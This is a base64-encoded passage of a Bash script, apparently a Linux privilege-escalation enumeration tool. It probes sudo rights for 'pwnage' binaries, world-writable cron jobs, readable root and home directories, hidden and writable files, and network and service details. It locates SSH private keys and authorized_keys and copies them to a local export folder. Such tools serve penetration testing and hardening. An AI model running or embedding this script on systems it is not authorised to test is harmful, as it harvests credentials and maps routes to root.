GVjaG8gLWUgIlxuIgogICAgICBmaQogICAgZmkKZmkKCiNrbm93biAnZ29vZCcgYnJlYWtvdXQgYmluYXJpZXMgKGNsZWFuZWQgdG8gcGFyc2UgL2V0Yy9zdWRvZXJzIGZvciBjb21tYSBzZXBhcmF0ZWQgdmFsdWVzKQpzdWRvcHduYWdlPWBlY2hvICcnIHwgc3VkbyAtUyAtbCAtayAyPi9kZXYvbnVsbCB8IHhhcmdzIC1uIDEgMj4vZGV2L251bGwgfCBzZWQgJ3MvLCokLy9nJyAyPi9kZXYvbnVsbCB8IGdyZXAgLXcgJGJpbmFyeWxpc3QgMj4vZGV2L251bGxgCmlmIFsgIiRzdWRvcHduYWdlIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFBvc3NpYmxlIHN1ZG8gcHduYWdlIVxlWzAwbVxuJHN1ZG9wd25hZ2UiIAogIGVjaG8gLWUgIlxuIgpmaQoKI3dobyBoYXMgc3Vkb2VkIGluIHRoZSBwYXN0Cndob2hhc2JlZW5zdWRvPWBmaW5kIC9ob21lIC1uYW1lIC5zdWRvX2FzX2FkbWluX3N1Y2Nlc3NmdWwgMj4vZGV2L251bGxgCmlmIFsgIiR3aG9oYXNiZWVuc3VkbyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBBY2NvdW50cyB0aGF0IGhhdmUgcmVjZW50bHkgdXNlZCBzdWRvOlxlWzAwbVxuJHdob2hhc2JlZW5zdWRvIiAKICBlY2hvIC1lICJcbiIKZmkKCiNjaGVja3MgdG8gc2VlIGlmIHJvb3RzIGhvbWUgZGlyZWN0b3J5IGlzIGFjY2Vzc2libGUKcnRobWRpcj1gbHMgLWFobCAvcm9vdC8gMj4vZGV2L251bGxgCmlmIFsgIiRydGhtZGlyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFdlIGNhbiByZWFkIHJvb3QncyBob21lIGRpcmVjdG9yeSFcZVswMG1cbiRydGhtZGlyIiAKICBlY2hvIC1lICJcbiIKZmkKCiNkaXNwbGF5cyAvaG9tZSBkaXJlY3RvcnkgcGVybWlzc2lvbnMgLSBjaGVjayBpZiBhbnkgYXJlIGxheApob21lZGlycGVybXM9YGxzIC1haGwgL2hvbWUvIDI+L2Rldi9udWxsYAppZiBbICIkaG9tZWRpcnBlcm1zIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEFyZSBwZXJtaXNzaW9ucyBvbiAvaG9tZSBkaXJlY3RvcmllcyBsYXg6XGVbMDBtXG4kaG9tZWRpcnBlcm1zIiAKICBlY2hvIC1lICJcbiIKZmkKCiNsb29rcyBmb3IgZmlsZXMgd2UgY2FuIHdyaXRlIHRvIHRoYXQgZG9uJ3QgYmVsb25nIHRvIHVzCmlmIFsgIiR0aG9yb3VnaCIgPSAiMSIgXTsgdGhlbgogIGdyZmlsZXNhbGw9YGZpbmQgLyAtd3JpdGFibGUgISAtdXNlciBcYHdob2FtaVxgIC10eXBlIGYgISAtcGF0aCAiL3Byb2MvKiIgISAtcGF0aCAiL3N5cy8qIiAtZXhlYyBscyAtYWwge30gXDsgMj4vZGV2L251bGxgCiAgaWYgWyAiJGdyZmlsZXNhbGwiIF07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBGaWxlcyBub3Qgb3duZWQgYnkgdXNlciBidXQgd3JpdGFibGUgYnkgZ3JvdXA6XGVbMDBtXG4kZ3JmaWxlc2FsbCIgCiAgICBlY2hvIC1lICJcbiIKICBmaQpmaQoKI2xvb2tzIGZvciBmaWxlcyB0aGF0IGJlbG9uZyB0byB1cwppZiBbICIkdGhvcm91Z2giID0gIjEiIF07IHRoZW4KICBvdXJmaWxlc2FsbD1gZmluZCAvIC11c2VyIFxgd2hvYW1pXGAgLXR5cGUgZiAhIC1wYXRoICIvcHJvYy8qIiAhIC1wYXRoICIvc3lzLyoiIC1leGVjIGxzIC1hbCB7fSBcOyAyPi9kZXYvbnVsbGAKICBpZiBbICIkb3VyZmlsZXNhbGwiIF07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBGaWxlcyBvd25lZCBieSBvdXIgdXNlcjpcZVswMG1cbiRvdXJmaWxlc2FsbCIKICAgIGVjaG8gLWUgIlxuIgogIGZpCmZpCgojbG9va3MgZm9yIGhpZGRlbiBmaWxlcwppZiBbICIkdGhvcm91Z2giID0gIjEiIF07IHRoZW4KICBoaWRkZW5maWxlcz1gZmluZCAvIC1uYW1lICIuKiIgLXR5cGUgZiAhIC1wYXRoICIvcHJvYy8qIiAhIC1wYXRoICIvc3lzLyoiIC1leGVjIGxzIC1hbCB7fSBcOyAyPi9kZXYvbnVsbGAKICBpZiBbICIkaGlkZGVuZmlsZXMiIF07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBIaWRkZW4gZmlsZXM6XGVbMDBtXG4kaGlkZGVuZmlsZXMiCiAgICBlY2hvIC1lICJcbiIKICBmaQpmaQoKI2xvb2tzIGZvciB3b3JsZC1yZWFiYWJsZSBmaWxlcyB3aXRoaW4gL2hvbWUgLSBkZXBlbmRpbmcgb24gbnVtYmVyIG9mIC9ob21lIGRpcnMgJiBmaWxlcywgdGhpcyBjYW4gdGFrZSBzb21lIHRpbWUgc28gaXMgb25seSAnYWN0aXZhdGVkJyB3aXRoIHRob3JvdWdoIHNjYW5uaW5nIHN3aXRjaAppZiBbICIkdGhvcm91Z2giID0gIjEiIF07IHRoZW4Kd3JmaWxlc2htPWBmaW5kIC9ob21lLyAtcGVybSAtNCAtdHlwZSBmIC1leGVjIGxzIC1hbCB7fSBcOyAyPi9kZXYvbnVsbGAKCWlmIFsgIiR3cmZpbGVzaG0iIF07IHRoZW4KCQllY2hvIC1lICJcZVswMDszMW1bLV0gV29ybGQtcmVhZGFibGUgZmlsZXMgd2l0aGluIC9ob21lOlxlWzAwbVxuJHdyZmlsZXNobSIgCgkJZWNobyAtZSAiXG4iCglmaQpmaQoKaWYgWyAiJHRob3JvdWdoIiA9ICIxIiBdOyB0aGVuCglpZiBbICIkZXhwb3J0IiBdICYmIFsgIiR3cmZpbGVzaG0iIF07IHRoZW4KCQlta2RpciAkZm9ybWF0L3dyLWZpbGVzLyAyPi9kZXYvbnVsbAoJCWZvciBpIGluICR3cmZpbGVzaG07IGRvIGNwIC0tcGFyZW50cyAkaSAkZm9ybWF0L3dyLWZpbGVzLyA7IGRvbmUgMj4vZGV2L251bGwKCWZpCmZpCgojbGlzdHMgY3VycmVudCB1c2VyJ3MgaG9tZSBkaXJlY3RvcnkgY29udGVudHMKaWYgWyAiJHRob3JvdWdoIiA9ICIxIiBdOyB0aGVuCmhvbWVkaXJjb250ZW50cz1gbHMgLWFobCB+IDI+L2Rldi9udWxsYAoJaWYgWyAiJGhvbWVkaXJjb250ZW50cyIgXSA7IHRoZW4KCQllY2hvIC1lICJcZVswMDszMW1bLV0gSG9tZSBkaXJlY3RvcnkgY29udGVudHM6XGVbMDBtXG4kaG9tZWRpcmNvbnRlbnRzIiAKCQllY2hvIC1lICJcbiIgCglmaQpmaQoKI2NoZWNrcyBmb3IgaWYgdmFyaW91cyBzc2ggZmlsZXMgYXJlIGFjY2Vzc2libGUgLSB0aGlzIGNhbiB0YWtlIHNvbWUgdGltZSBzbyBpcyBvbmx5ICdhY3RpdmF0ZWQnIHdpdGggdGhvcm91Z2ggc2Nhbm5pbmcgc3dpdGNoCmlmIFsgIiR0aG9yb3VnaCIgPSAiMSIgXTsgdGhlbgpzc2hmaWxlcz1gZmluZCAvIFwoIC1uYW1lICJpZF9kc2EqIiAtbyAtbmFtZSAiaWRfcnNhKiIgLW8gLW5hbWUgImtub3duX2hvc3RzIiAtbyAtbmFtZSAiYXV0aG9yaXplZF9ob3N0cyIgLW8gLW5hbWUgImF1dGhvcml6ZWRfa2V5cyIgXCkgLWV4ZWMgbHMgLWxhIHt9IDI+L2Rldi9udWxsIFw7YAoJaWYgWyAiJHNzaGZpbGVzIiBdOyB0aGVuCgkJZWNobyAtZSAiXGVbMDA7MzFtWy1dIFNTSCBrZXlzL2hvc3QgaW5mb3JtYXRpb24gZm91bmQgaW4gdGhlIGZvbGxvd2luZyBsb2NhdGlvbnM6XGVbMDBtXG4kc3NoZmlsZXMiIAoJCWVjaG8gLWUgIlxuIgoJZmkKZmkKCmlmIFsgIiR0aG9yb3VnaCIgPSAiMSIgXTsgdGhlbgoJaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkc3NoZmlsZXMiIF07IHRoZW4KCQlta2RpciAkZm9ybWF0L3NzaC1maWxlcy8gMj4vZGV2L251bGwKCQlmb3IgaSBpbiAkc3NoZmlsZXM7IGRvIGNwIC0tcGFyZW50cyAkaSAkZm9ybWF0L3NzaC1maWxlcy87IGRvbmUgMj4vZGV2L251bGwKCWZpCmZpCgojaXMgcm9vdCBwZXJtaXR0ZWQgdG8gbG9naW4gdmlhIHNzaApzc2hyb290bG9naW49YGdyZXAgIlBlcm1pdFJvb3RMb2dpbiAiIC9ldGMvc3NoL3NzaGRfY29uZmlnIDI+L2Rldi9udWxsIHwgZ3JlcCAtdiAiIyIgfCBhd2sgJ3twcmludCAgJDJ9J2AKaWYgWyAiJHNzaHJvb3Rsb2dpbiIgPSAieWVzIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIFJvb3QgaXMgYWxsb3dlZCB0byBsb2dpbiB2aWEgU1NIOlxlWzAwbSIgOyBncmVwICJQZXJtaXRSb290TG9naW4gIiAvZXRjL3NzaC9zc2hkX2NvbmZpZyAyPi9kZXYvbnVsbCB8IGdyZXAgLXYgIiMiIAogIGVjaG8gLWUgIlxuIgpmaQp9CgplbnZpcm9ubWVudGFsX2luZm8oKQp7CmVjaG8gLWUgIlxlWzAwOzMzbSMjIyBFTlZJUk9OTUVOVEFMICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xlWzAwbSIgCgojZW52IGluZm9ybWF0aW9uCmVudmluZm89YGVudiAyPi9kZXYvbnVsbCB8IGdyZXAgLXYgJ0xTX0NPTE9SUycgMj4vZGV2L251bGxgCmlmIFsgIiRlbnZpbmZvIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEVudmlyb25tZW50IGluZm9ybWF0aW9uOlxlWzAwbVxuJGVudmluZm8iIAogIGVjaG8gLWUgIlxuIgpmaQoKI2NoZWNrIGlmIHNlbGludXggaXMgZW5hYmxlZApzZXN0YXR1cz1gc2VzdGF0dXMgMj4vZGV2L251bGxgCmlmIFsgIiRzZXN0YXR1cyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBTRUxpbnV4IHNlZW1zIHRvIGJlIHByZXNlbnQ6XGVbMDBtXG4kc2VzdGF0dXMiCiAgZWNobyAtZSAiXG4iCmZpCgojcGhhY2t0CgojY3VycmVudCBwYXRoIGNvbmZpZ3VyYXRpb24KcGF0aGluZm89YGVjaG8gJFBBVEggMj4vZGV2L251bGxgCmlmIFsgIiRwYXRoaW5mbyIgXTsgdGhlbgogIHBhdGhzd3JpdGVhYmxlPWBscyAtbGQgJChlY2hvICRQQVRIIHwgdHIgIjoiICIgIilgCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIFBhdGggaW5mb3JtYXRpb246XGVbMDBtXG4kcGF0aGluZm8iIAogIGVjaG8gLWUgIiRwYXRoc3dyaXRlYWJsZSIKICBlY2hvIC1lICJcbiIKZmkKCiNsaXN0cyBhdmFpbGFibGUgc2hlbGxzCnNoZWxsaW5mbz1gY2F0IC9ldGMvc2hlbGxzIDI+L2Rldi9udWxsYAppZiBbICIkc2hlbGxpbmZvIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEF2YWlsYWJsZSBzaGVsbHM6XGVbMDBtXG4kc2hlbGxpbmZvIiAKICBlY2hvIC1lICJcbiIKZmkKCiNjdXJyZW50IHVtYXNrIHZhbHVlIHdpdGggYm90aCBvY3RhbCBhbmQgc3ltYm9saWMgb3V0cHV0CnVtYXNrdmFsdWU9YHVtYXNrIC1TIDI+L2Rldi9udWxsICYgdW1hc2sgMj4vZGV2L251bGxgCmlmIFsgIiR1bWFza3ZhbHVlIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEN1cnJlbnQgdW1hc2sgdmFsdWU6XGVbMDBtXG4kdW1hc2t2YWx1ZSIgCiAgZWNobyAtZSAiXG4iCmZpCgojdW1hc2sgdmFsdWUgYXMgaW4gL2V0Yy9sb2dpbi5kZWZzCnVtYXNrZGVmPWBncmVwIC1pICJeVU1BU0siIC9ldGMvbG9naW4uZGVmcyAyPi9kZXYvbnVsbGAKaWYgWyAiJHVtYXNrZGVmIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIHVtYXNrIHZhbHVlIGFzIHNwZWNpZmllZCBpbiAvZXRjL2xvZ2luLmRlZnM6XGVbMDBtXG4kdW1hc2tkZWYiIAogIGVjaG8gLWUgIlxuIgpmaQoKI3Bhc3N3b3JkIHBvbGljeSBpbmZvcm1hdGlvbiBhcyBzdG9yZWQgaW4gL2V0Yy9sb2dpbi5kZWZzCmxvZ2luZGVmcz1gZ3JlcCAiXlBBU1NfTUFYX0RBWVNcfF5QQVNTX01JTl9EQVlTXHxeUEFTU19XQVJOX0FHRVx8XkVOQ1JZUFRfTUVUSE9EIiAvZXRjL2xvZ2luLmRlZnMgMj4vZGV2L251bGxgCmlmIFsgIiRsb2dpbmRlZnMiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gUGFzc3dvcmQgYW5kIHN0b3JhZ2UgaW5mb3JtYXRpb246XGVbMDBtXG4kbG9naW5kZWZzIiAKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJGxvZ2luZGVmcyIgXTsgdGhlbgogIG1rZGlyICRmb3JtYXQvZXRjLWV4cG9ydC8gMj4vZGV2L251bGwKICBjcCAvZXRjL2xvZ2luLmRlZnMgJGZvcm1hdC9ldGMtZXhwb3J0L2xvZ2luLmRlZnMgMj4vZGV2L251bGwKZmkKfQoKam9iX2luZm8oKQp7CmVjaG8gLWUgIlxlWzAwOzMzbSMjIyBKT0JTL1RBU0tTICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xlWzAwbSIgCgojYXJlIHRoZXJlIGFueSBjcm9uIGpvYnMgY29uZmlndXJlZApjcm9uam9icz1gbHMgLWxhIC9ldGMvY3JvbiogMj4vZGV2L251bGxgCmlmIFsgIiRjcm9uam9icyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBDcm9uIGpvYnM6XGVbMDBtXG4kY3JvbmpvYnMiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2NhbiB3ZSBtYW5pcHVsYXRlIHRoZXNlIGpvYnMgaW4gYW55IHdheQpjcm9uam9id3dwZXJtcz1gZmluZCAvZXRjL2Nyb24qIC1wZXJtIC0wMDAyIC10eXBlIGYgLWV4ZWMgbHMgLWxhIHt9IFw7IC1leGVjIGNhdCB7fSAyPi9kZXYvbnVsbCBcO2AKaWYgWyAiJGNyb25qb2J3d3Blcm1zIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzNtWytdIFdvcmxkLXdyaXRhYmxlIGNyb24gam9icyBhbmQgZmlsZSBjb250ZW50czpcZVswMG1cbiRjcm9uam9id3dwZXJtcyIgCiAgZWNobyAtZSAiXG4iCmZpCgojY29udGFiIGNvbnRlbnRzCmNyb250YWJ2YWx1ZT1gY2F0IC9ldGMvY3JvbnRhYiAyPi9kZXYvbnVsbGAKaWYgWyAiJGNyb250YWJ2YWx1ZSIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBDcm9udGFiIGNvbnRlbnRzOlxlWzAwbVxuJGNyb250YWJ2YWx1ZSIgCiAgZWNobyAtZSAiXG4iCmZpCgpjcm9udGFidmFyPWBscyAtbGEgL3Zhci9zcG9vbC9jcm9uL2Nyb250YWJzIDI+L2Rldi9udWxsYAppZiBbICIkY3JvbnRhYnZhciIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBBbnl0aGluZyBpbnRlcmVzdGluZyBpbiAvdmFyL3Nwb29sL2Nyb24vY3JvbnRhYnM6XGVbMDBtXG4kY3JvbnRhYnZhciIgCiAgZWNobyAtZSAiXG4iCmZpCgphbmFjcm9uam9icz1gbHMgLWxhIC9ldGMvYW5hY3JvbnRhYiAyPi9kZXYvbnVsbDsgY2F0IC9ldGMvYW5hY3JvbnRhYiAyPi9kZXYvbnVsbGAKaWYgWyAiJGFuYWNyb25qb2JzIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEFuYWNyb24gam9icyBhbmQgYXNzb2NpYXRlZCBmaWxlIHBlcm1pc3Npb25zOlxlWzAwbVxuJGFuYWNyb25qb2JzIiAKICBlY2hvIC1lICJcbiIKZmkKCmFuYWNyb250YWI9YGxzIC1sYSAvdmFyL3Nwb29sL2FuYWNyb24gMj4vZGV2L251bGxgCmlmIFsgIiRhbmFjcm9udGFiIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIFdoZW4gd2VyZSBqb2JzIGxhc3QgZXhlY3V0ZWQgKC92YXIvc3Bvb2wvYW5hY3JvbiBjb250ZW50cyk6XGVbMDBtXG4kYW5hY3JvbnRhYiIgCiAgZWNobyAtZSAiXG4iCmZpCgojcHVsbCBvdXQgYWNjb3VudCBuYW1lcyBmcm9tIC9ldGMvcGFzc3dkIGFuZCBzZWUgaWYgYW55IHVzZXJzIGhhdmUgYXNzb2NpYXRlZCBjcm9uam9icyAocHJpdiBjb21tYW5kKQpjcm9ub3RoZXI9YGN1dCAtZCAiOiIgLWYgMSAvZXRjL3Bhc3N3ZCB8IHhhcmdzIC1uMSBjcm9udGFiIC1sIC11IDI+L2Rldi9udWxsYAppZiBbICIkY3Jvbm90aGVyIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEpvYnMgaGVsZCBieSBhbGwgdXNlcnM6XGVbMDBtXG4kY3Jvbm90aGVyIiAKICBlY2hvIC1lICJcbiIKZmkKCiMgbGlzdCBzeXN0ZW1kIHRpbWVycwppZiBbICIkdGhvcm91Z2giID0gIjEiIF07IHRoZW4KICAjIGluY2x1ZGUgaW5hY3RpdmUgdGltZXJzIGluIHRob3JvdWdoIG1vZGUKICBzeXN0ZW1kdGltZXJzPSIkKHN5c3RlbWN0bCBsaXN0LXRpbWVycyAtLWFsbCAyPi9kZXYvbnVsbCkiCiAgaW5mbz0iIgplbHNlCiAgc3lzdGVtZHRpbWVycz0iJChzeXN0ZW1jdGwgbGlzdC10aW1lcnMgMj4vZGV2L251bGwgfGhlYWQgLW4gLTEgMj4vZGV2L251bGwpIgogICMgcmVwbGFjZSB0aGUgaW5mbyBpbiB0aGUgb3V0cHV0IHdpdGggYSBoaW50IHRvd2FyZHMgdGhvcm91Z2ggbW9kZQogIGluZm89IlxlWzJtRW5hYmxlIHRob3JvdWdoIHRlc3RzIHRvIHNlZSBpbmFjdGl2ZSB0aW1lcnNcZVswMG0iCmZpCmlmIFsgIiRzeXN0ZW1kdGltZXJzIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIFN5c3RlbWQgdGltZXJzOlxlWzAwbVxuJHN5c3RlbWR0aW1lcnNcbiRpbmZvIgogIGVjaG8gLWUgIlxuIgpmaQoKfQoKbmV0d29ya2luZ19pbmZvKCkKewplY2hvIC1lICJcZVswMDszM20jIyMgTkVUV09SS0lORyAgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtIiAKCiNuaWMgaW5mb3JtYXRpb24KbmljaW5mbz1gL3NiaW4vaWZjb25maWcgLWEgMj4vZGV2L251bGxgCmlmIFsgIiRuaWNpbmZvIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIE5ldHdvcmsgYW5kIElQIGluZm86XGVbMDBtXG4kbmljaW5mbyIgCiAgZWNobyAtZSAiXG4iCmZpCgojbmljIGluZm9ybWF0aW9uICh1c2luZyBpcCkKbmljaW5mb2lwPWAvc2Jpbi9pcCBhIDI+L2Rldi9udWxsYAppZiBbICEgIiRuaWNpbmZvIiBdICYmIFsgIiRuaWNpbmZvaXAiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gTmV0d29yayBhbmQgSVAgaW5mbzpcZVswMG1cbiRuaWNpbmZvaXAiIAogIGVjaG8gLWUgIlxuIgpmaQoKYXJwaW5mbz1gYXJwIC1hIDI+L2Rldi9udWxsYAppZiBbICIkYXJwaW5mbyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBBUlAgaGlzdG9yeTpcZVswMG1cbiRhcnBpbmZvIiAKICBlY2hvIC1lICJcbiIKZmkKCmFycGluZm9pcD1gaXAgbiAyPi9kZXYvbnVsbGAKaWYgWyAhICIkYXJwaW5mbyIgXSAmJiBbICIkYXJwaW5mb2lwIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIEFSUCBoaXN0b3J5OlxlWzAwbVxuJGFycGluZm9pcCIgCiAgZWNobyAtZSAiXG4iCmZpCgojZG5zIHNldHRpbmdzCm5zaW5mbz1gZ3JlcCAibmFtZXNlcnZlciIgL2V0Yy9yZXNvbHYuY29uZiAyPi9kZXYvbnVsbGAKaWYgWyAiJG5zaW5mbyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBOYW1lc2VydmVyKHMpOlxlWzAwbVxuJG5zaW5mbyIgCiAgZWNobyAtZSAiXG4iCmZpCgpuc2luZm9zeXNkPWBzeXN0ZW1kLXJlc29sdmUgLS1zdGF0dXMgMj4vZGV2L251bGxgCmlmIFsgIiRuc2luZm9zeXNkIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIE5hbWVzZXJ2ZXIocyk6XGVbMDBtXG4kbnNpbmZvc3lzZCIgCiAgZWNobyAtZSAiXG4iCmZpCgojZGVmYXVsdCByb3V0ZSBjb25maWd1cmF0aW9uCmRlZnJvdXRlPWByb3V0ZSAyPi9kZXYvbnVsbCB8IGdyZXAgZGVmYXVsdGAKaWYgWyAiJGRlZnJvdXRlIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIERlZmF1bHQgcm91dGU6XGVbMDBtXG4kZGVmcm91dGUiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2RlZmF1bHQgcm91dGUgY29uZmlndXJhdGlvbgpkZWZyb3V0ZWlwPWBpcCByIDI+L2Rldi9udWxsIHwgZ3JlcCBkZWZhdWx0YAppZiBbICEgIiRkZWZyb3V0ZSIgXSAmJiBbICIkZGVmcm91dGVpcCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBEZWZhdWx0IHJvdXRlOlxlWzAwbVxuJGRlZnJvdXRlaXAiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2xpc3RlbmluZyBUQ1AKdGNwc2VydnM9YG5ldHN0YXQgLW50cGwgMj4vZGV2L251bGxgCmlmIFsgIiR0Y3BzZXJ2cyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBMaXN0ZW5pbmcgVENQOlxlWzAwbVxuJHRjcHNlcnZzIiAKICBlY2hvIC1lICJcbiIKZmkKCnRjcHNlcnZzaXA9YHNzIC10IC1sIC1uIDI+L2Rldi9udWxsYAppZiBbICEgIiR0Y3BzZXJ2cyIgXSAmJiBbICIkdGNwc2VydnNpcCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBMaXN0ZW5pbmcgVENQOlxlWzAwbVxuJHRjcHNlcnZzaXAiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2xpc3RlbmluZyBVRFAKdWRwc2VydnM9YG5ldHN0YXQgLW51cGwgMj4vZGV2L251bGxgCmlmIFsgIiR1ZHBzZXJ2cyIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBMaXN0ZW5pbmcgVURQOlxlWzAwbVxuJHVkcHNlcnZzIiAKICBlY2hvIC1lICJcbiIKZmkKCnVkcHNlcnZzaXA9YHNzIC11IC1sIC1uIDI+L2Rldi9udWxsYAppZiBbICEgIiR1ZHBzZXJ2cyIgXSAmJiBbICIkdWRwc2VydnNpcCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBMaXN0ZW5pbmcgVURQOlxlWzAwbVxuJHVkcHNlcnZzaXAiIAogIGVjaG8gLWUgIlxuIgpmaQp9CgpzZXJ2aWNlc19pbmZvKCkKewplY2hvIC1lICJcZVswMDszM20jIyMgU0VSVklDRVMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtIiAKCiNydW5uaW5nIHByb2Nlc3Nlcwpwc2F1eD1gcHMgYXV4IDI+L2Rldi9udWxsYAppZiBbICIkcHNhdXgiIF07IHRoZW4KICBlY2hvIC1lICJcZVswMDszMW1bLV0gUnVubmluZyBwcm9jZXNzZXM6XGVbMDBtXG4kcHNhdXgiIAogIGVjaG8gLWUgIlxuIgpmaQoKI2xvb2t1cCBwcm9jZXNzIGJpbmFyeSBwYXRoIGFuZCBwZXJtaXNzaXNvbnMKcHJvY3Blcm09YHBzIGF1eCAyPi9kZXYvbnVsbCB8IGF3ayAne3ByaW50ICQxMX0nfHhhcmdzIC1yIGxzIC1sYSAyPi9kZXYvbnVsbCB8YXdrICcheFskMF0rKycgMj4vZGV2L251bGxgCmlmIFsgIiRwcm9jcGVybSIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBQcm9jZXNzIGJpbmFyaWVzIGFuZCBhc3NvY2lhdGVkIHBlcm1pc3Npb25zIChmcm9tIGFib3ZlIGxpc3QpOlxlWzAwbVxuJHByb2NwZXJtIiAKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJHByb2NwZXJtIiBdOyB0aGVuCnByb2NwZXJtYmFzZT1gcHMgYXV4IDI+L2Rldi9udWxsIHwgYXdrICd7cHJpbnQgJDExfScgfCB4YXJncyAtciBscyAyPi9kZXYvbnVsbCB8IGF3ayAnIXhbJDBdKysnIDI+L2Rldi9udWxsYAogIG1rZGlyICRmb3JtYXQvcHMtZXhwb3J0LyAyPi9kZXYvbnVsbAogIGZvciBpIGluICRwcm9jcGVybWJhc2U7IGRvIGNwIC0tcGFyZW50cyAkaSAkZm9ybWF0L3BzLWV4cG9ydC87IGRvbmUgMj4vZGV2L251bGwKZmkKCiNhbnl0aGluZyAndXNlZnVsJyBpbiBpbmV0ZC5jb25mCmluZXRkcmVhZD1gY2F0IC9ldGMvaW5ldGQuY29uZiAyPi9kZXYvbnVsbGAKaWYgWyAiJGluZXRkcmVhZCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBDb250ZW50cyBvZiAvZXRjL2luZXRkLmNvbmY6XGVbMDBtXG4kaW5ldGRyZWFkIiAKICBlY2hvIC1lICJcbiIKZmkKCmlmIFsgIiRleHBvcnQiIF0gJiYgWyAiJGluZXRkcmVhZCIgXTsgdGhlbgogIG1rZGlyICRmb3JtYXQvZXRjLWV4cG9ydC8gMj4vZGV2L251bGwKICBjcCAvZXRjL2luZXRkLmNvbmYgJGZvcm1hdC9ldGMtZXhwb3J0L2luZXRkLmNvbmYgMj4vZGV2L251bGwKZmkKCiN2ZXJ5ICdyb3VnaCcgY29tbWFuZCB0byBleHRyYWN0IGFzc29jaWF0ZWQgYmluYXJpZXMgZnJvbSBpbmV0ZC5jb25mICYgc2hvdyBwZXJtaXNpc29ucyBvZiBlYWNoCmluZXRkYmlucGVybXM9YGF3ayAne3ByaW50ICQ3fScgL2V0Yy9pbmV0ZC5jb25mIDI+L2Rldi9udWxsIHx4YXJncyAtciBscyAtbGEgMj4vZGV2L251bGxgCmlmIFsgIiRpbmV0ZGJpbnBlcm1zIiBdOyB0aGVuCiAgZWNobyAtZSAiXGVbMDA7MzFtWy1dIFRoZSByZWxhdGVkIGluZXRkIGJpbmFyeSBwZXJtaXNzaW9uczpcZVswMG1cbiRpbmV0ZGJpbnBlcm1zIiAKICBlY2hvIC1lICJcbiIKZmkKCnhpbmV0ZHJlYWQ9YGNhdCAvZXRjL3hpbmV0ZC5jb25mIDI+L2Rldi9udWxsYAppZiBbICIkeGluZXRkcmVhZCIgXTsgdGhlbgogIGVjaG8gLWUgIlxlWzAwOzMxbVstXSBDb250ZW50cyBvZiAvZXRjL3hpbmV0ZC5jb25mOlxlWzAwbVxuJHhpbmV0ZHJlYWQiIAogIGVjaG8gLWUgIlxuIgpmaQoKaWYgWyAiJGV4cG9ydCIgXSAmJiBbICIkeGluZXRkcmVhZCIgXTsgdGhlbgogIG1rZGlyICRmb3JtYXQvZXRjLWV4cG9ydC8gMj4vZGV2L251bGwKICBjcCAvZXRjL3hpbmV0ZC5jb25mICRmb3JtYXQvZXRjLWV4cG9ydC94aW5ldGQuY29uZiAyPi9kZXYvbnVsbApmaQoKeGluZXRkaW5jZD1gZ3JlcCAiL2V0Yy94aW5ldGQuZCIgL2V0Yy94aW5ldGQ